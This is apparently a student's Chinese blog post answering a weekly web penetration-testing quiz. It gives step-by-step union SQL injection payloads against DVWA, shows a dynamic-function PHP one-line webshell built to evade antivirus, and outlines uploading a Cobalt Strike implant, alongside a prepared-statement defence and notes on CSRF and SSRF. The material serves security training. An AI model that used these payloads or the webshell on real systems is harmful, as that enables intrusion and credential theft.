首页 > 其他分享 >第二周周测

第二周周测

时间:2024-03-08 17:01:30浏览次数:30  
标签:语句 last name 查询 周测 第二周 id first

1、尝试挖掘testfire.net网站的漏洞,编写渗透测试报告
testfire.net渗透测试报告

2、任选靶场解释并演示sql注入漏洞,为靶场编写防御程序解释作用
首先利用语句“1’and’1’=’1”和“1’and’1’=’2”来判断是否有注入点。以下为两种语句的不同回显,可以判断出是有注入点的。

  判断完注入点我们尝试获取他的判断他的列数,利用“1’order by 1#”语句替换“1”来判断行数,这里我们“#”或者“--+”的作用是注释掉原本语句后面的内容,让我们能够自如的进行查询。然后我们最后查询到“1’order by 3#”就弹出报错,就说明列数应该为两列。


  判断完列数后,我们开始利用联合查询语句,这里使用“-1’union select 1,2#”,来判断显示位。我们这里可以看见回显了另外一个语句,就说明显示位为2,一般靶场中比如sqli-labs那种就会需要将前面的“1”改为“-1”,也就是“-1’union select 1,2#”才会正常回显我们查询的内容。这里我们也可以,之后的演示排除干扰就将第一行结果屏蔽了。

  这里我们收集数据库名称利用database()函数,它的作用是返回数据库名,我们在后续查询中是需要数据库才能进行的所以利用语句“-1’union select 1,database()#”接下来进行查询,得到结果数据库名称为“dvwa”。

  我们收集完以上的数据库信息后,我们再查询一下数据库的版本,因为mysql数据库注入大概是以5.0版本为分界线,5.0以下没有information表,5.0以上则都有information表。这里的MySQL版本为5.7.26,那么我们就可以查询information表来找到数据库的表名。

  接下来,我们查询dvwa数据库有哪些表名,利用联合查询语句“-1'union select 1,table_name from information_schema.tables where table_schema='dvwa'#”来进行对表名的查询。得到两个表名“guestbook”和“users”。

  我们查询好表名后,我们查询列名,利用语句“-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')#”得到“user_id,first_name,last_name,user,password,avatar,last_login,failed_login”的结果,这个时候我们就可以知道我们应该查询“user”和“password”。

  然后我们查询好表名为“users”和列名“user”、列名“password”后,我们利用查询语句“-1’union select user,password from users”,然后查询得到账号和密码,密码是MD5加密需要自己解密查询。

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

此为防御模板,CSRF、检测 id 是否是数字,prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入

3、安装安全狗waf,使用脏数据绕过waf利用文件上传,使用fuzz测试利用反射型xss

安装安全狗


脏数据绕过


xss

4、演示并解释,csrf漏洞和ssrf漏洞有什么区别

csrf:因更改密码无验证且是get传参,由于所有用户改密码都是同一url所以可以通过构建恶意url来钓鱼其他用户访问,其他用户访问时会用自己的cookie执行更改密码操作


这里登录用户为1337

访问恶意url

更改成功

ssrf:可以从url中获取数据,由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

5、使用存储型xss漏洞演示水坑钓鱼

6、使用动态函数的特性修改一句话木马实现简单的免杀

<?php
$a = 'assert';
$b = '_GET';
$a($$b['x']); //assert($_GET['x'])

7、演示远程文件包含漏洞让服务器执行命令,画图解释原因


8、使用一句话木马上传cs的exe木马,让失陷主机上线cs
上传一句话

蚁剑连接

上传木马

运行木马

9、演示常见业务逻辑漏洞

10、描述防火墙,ids,ips作用,画图说明设备作用,一般部署方式,优缺点

标签:语句,last,name,查询,周测,第二周,id,first
From: https://www.cnblogs.com/TessCat/p/18060939

相关文章

  • 软件工程第二周开课博客
    自我介绍:我是徐健一个刚刚接触web应用程序和安卓app的小白(也没有那么白)。现状、经验和计划:现状:基本掌握了前端vue的使用和后端springboot框架,喜欢用mybaits-plus直接生成一部分后端代码。数据库小白只会写一些基础的增删改查方法,连表查询可望而不可及。安卓的学习处在门槛外,还......
  • 软件工程第二周开课博客
    1.自我介绍我是石家庄铁道大学软件工程系的学生,在系主任建民老师的guli下立志成为一名软件设计师,爱好是羽毛球(在正式报羽毛球这门课前),上大学前对计算机的认知几乎为0。平时在宿舍偶尔打一些游戏,课余时间也会去跑步、打球。很认同建民老师所说的”三板斧“,因此希望之后的几年能紧......
  • 软件工程第二周开课博客
     现状/经验:目前是大二下学年的学生,能够完成web系统多张表的增删改查以及一些简单流程的制作,稍微复杂一点的就需要更多时间去调试,目前没法达成老师的要求,安卓方面,不能说是一窍不通,只能说是两眼一抹黑,假期就照搬csdn上博主的代码,整出来了一个简易的记账本软件,这个软件的代码只有......
  • 软件工程第二周开课博客
    1.介绍自己 本人是一名软件工程专业大二学生,之所以报考计算机专业是因为小时候对软件制作感兴趣并且曾经接触过相关职业人员。但经过两年的学习,我发现计算机,尤其是软件工程专业的现状与我想象的有许多不同。任何一名软件工程师都是经过长期不懈的学习及练习铸就,并非仅仅兴趣......
  • 软件工程第二周开课博客
    介绍自己:石家庄铁道大学软件工程专业学生现状/经验:目前是大二下学年的学生,能够完成web系统多张表的增删改查以及一些简单流程的制作,稍微复杂一点的就需要更多时间去调试,目前没法达成老师的要求,安卓方面,不能说是一窍不通,只能说是两眼一抹黑,假期就照搬csdn上博主的代码,整出来了一个......
  • 软件工程第二周开课博客
    我是就读于石家庄铁道大学的一名大二软工学生,目前仍算不上一名标准的软件工程师。在建民老师魔鬼般的训练下,我能感受到自己对于web项目的理解和运用也在不断加深,但是,每一次的训练我却总是无法在老师规定的时间内全部完成整个项目的构建,很多时候自己对于业务逻辑的思路无法简化......
  • 毕设-第二周
    本周计划:将申请功能单独作为一个菜单项完成基本的仓库的出入库管理功能,包括申请和返还提交功能完成基本的监控管理功能:某些化学品必须当天返回入库,用户需要记录当天整个过程的用量、废弃物处理等;某些需要若干天使用的,需要用户每一天都必须要有用量的汇报,记录每一天的使用用量......
  • 第二周开课博客
    1、介绍自己,建博客在去年大一的时候建立了自己的博客园,之前一年也是发布了一些日常,学习等方面的记录,收获很多,从大一开始的C语言,C++,到大二的Java,javaweb,这个学期要学习安卓开发,编译软件也用了好多种,自己也是有了一些知识积累,虽然感觉自己的编程能力不是很理想,但是和去年相比真的是......
  • 第一周周测
    1、尝试绕过xiusafe.com的cdn,要求尝试所有可能的手段并截图2、针对testfire.net端口进行扫描,子域名爆破,弱口令尝试3、搭建pikachu靶场改一下数据库连接密码访问install.php忘截图了4、尝试通关pikachu、SQL注入的任意一关,要求分别使用手工和sqlmap1'union......
  • 寒假第二周——训练总结
    题解1A题,给n个英文字母,你可以组成最长的回文串长度是多少?现在,请你利用程序帮助算出他能构成的最长回文串的长度是多少。用桶排的方法,记录字母的数量,然后把双数的数量×2,加上超过二的单数/2的奇数加1即可,需要判断只需要有一个超过2的奇数就在结果加一就行。A——A点击查看......